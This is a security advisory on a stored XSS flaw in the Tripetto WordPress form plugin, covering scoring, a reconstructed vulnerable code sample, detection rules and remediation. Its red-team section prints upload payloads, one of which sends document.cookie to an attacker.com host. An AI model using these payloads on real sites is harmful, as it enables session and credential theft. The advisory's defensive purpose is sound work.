CVE-2024-13497

Executive Summary

CVE-2024-13497 is a Stored Cross-Site Scripting (XSS) vulnerability in the Tripetto WordPress form builder plugin (versions up to and including 8.0.9). The flaw resides in insufficient input sanitization and output escaping during file attachment uploads, allowing unauthenticated attackers to inject arbitrary web scripts. When a user accesses the uploaded file, the malicious script executes in the context of the victim's browser. This can lead to session hijacking, credential theft, or defacement. The vulnerability is in the WordPress ecosystem and is not related to Apache or Nginx.

Supply Chain & Package Security

This vulnerability affects the Tripetto WordPress plugin, distributed via the official WordPress plugin repository. Users who installed the plugin from the repository are at risk. No official patch has been released as of the advisory date. Organizations should monitor the plugin's update channel and consider temporary removal or disabling of file uploads.

CVSS Breakdown & Threat Level

• CVSS Score: 7.2 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (victim must access the uploaded file)
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

The threat level is High due to the low complexity, no authentication requirement, and the potential for widespread exploitation via malicious file uploads.

Deep Dive & Mechanics

The Tripetto plugin allows unauthenticated users to submit forms with file attachments. The vulnerability arises because the plugin does not properly sanitize the file name or content during upload, and does not escape output when the file is served or displayed. An attacker can upload a file with a crafted name containing JavaScript (e.g., "><script>alert(1)</script>.svg) or a file with embedded script content (e.g., an SVG with onload event). When the victim views the uploaded file (e.g., via a link in the admin panel or frontend), the script executes in the victim's browser.

The root cause is the lack of validation for file types and content, combined with missing output escaping. The plugin likely uses $_FILES without checking MIME types or sanitizing file names, and then outputs the file URL or name directly into HTML without esc_attr() or esc_html().

Vulnerable vs. Patched Code

Vulnerable Code (Tripetto <= 8.0.9):

// In file upload handler
$uploaded_file = $_FILES['file'];
$filename = $uploaded_file['name'];
// No sanitization of $filename
move_uploaded_file($uploaded_file['tmp_name'], $upload_dir . $filename);
// Later, when displaying the file
echo '<a href="' . $file_url . '">' . $filename . '</a>';

Patched Code (Hypothetical fix):

// Sanitize file name
$filename = sanitize_file_name($uploaded_file['name']);
// Validate MIME type
$allowed_mimes = array('image/jpeg', 'image/png', 'application/pdf');
if (!in_array($uploaded_file['type'], $allowed_mimes)) {
    wp_die('Invalid file type.');
}
// Escape output
echo '<a href="' . esc_url($file_url) . '">' . esc_html($filename) . '</a>';

Exploitation & Lab Setup

Red Team (Attack Simulation)

1. Setup: Install WordPress with Tripetto plugin version 8.0.9. Create a form with file upload field.
2. Craft Payload: Create an SVG file with embedded XSS:

   <svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.cookie)">
   

   Or a file with a malicious name: "><script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>.png
3. Upload: Submit the form with the malicious file as an unauthenticated user.
4. Trigger: Access the uploaded file URL (e.g., /wp-content/uploads/tripetto/...). The script executes in the browser of any user viewing the file.

Blue Team (Defense & Detection)

1. Monitor Uploads: Log all file uploads to Tripetto, especially those with unusual extensions or MIME types.
2. Inspect File Names: Look for HTML tags, JavaScript, or special characters in file names.
3. Review Access Logs: Identify requests to /wp-content/uploads/tripetto/ with suspicious patterns.
4. Disable File Uploads: Temporarily disable the file upload feature in Tripetto until a patch is applied.

Indicators of Compromise (IOCs)

• File Names: Files containing <script>, onload=, onerror=, or other HTML/JavaScript in the name.
• File Types: Unexpected MIME types (e.g., image/svg+xml for non-SVG files, text/html for uploads).
• URL Patterns: Requests to /wp-content/uploads/tripetto/ with suspicious query strings or file names.
• Log Entries: PHP errors related to file uploads or warnings about invalid file types.

Detection Engineering

YARA Rule

rule tripetto_stored_xss_upload {
    meta:
        description = "Detects malicious file uploads targeting Tripetto plugin CVE-2024-13497"
        author = "Valters IT"
        date = "2025-04-17"
        reference = "CVE-2024-13497"
    strings:
        $xss_pattern1 = /<script[^>]*>/i
        $xss_pattern2 = /onload\s*=/i
        $xss_pattern3 = /onerror\s*=/i
        $xss_pattern4 = /javascript\s*:/i
    condition:
        any of ($xss_pattern*) and filesize < 1MB
}

Sigma Rule

title: Tripetto Stored XSS File Upload Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects file uploads to Tripetto plugin with potential XSS payloads
author: Valters IT
date: 2025/04/17
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri|contains: '/wp-content/plugins/tripetto/'
        cs-uri-query|contains: 'action=upload'
    filter:
        cs-uri-query|contains:
            - '.jpg'
            - '.png'
            - '.pdf'
    condition: selection and not filter
falsepositives:
    - Legitimate file uploads with unusual extensions
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-13497 Tripetto Stored XSS Upload Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-content/plugins/tripetto/"; http_uri; content:"action=upload"; http_uri; pcre:"/<script[^>]*>|onload=|onerror=|javascript\s*:/i"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Disable the file upload feature in Tripetto settings or deactivate the plugin until a patch is released.
2. Patch: Apply the official patch from Tripetto when available (check plugin repository).
3. Workaround: Implement a web application firewall (WAF) rule to block file uploads containing script tags or event handlers.
4. User Education: Advise users not to click on uploaded files from unknown sources.
5. Monitoring: Enable logging for file uploads and review regularly for suspicious activity.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert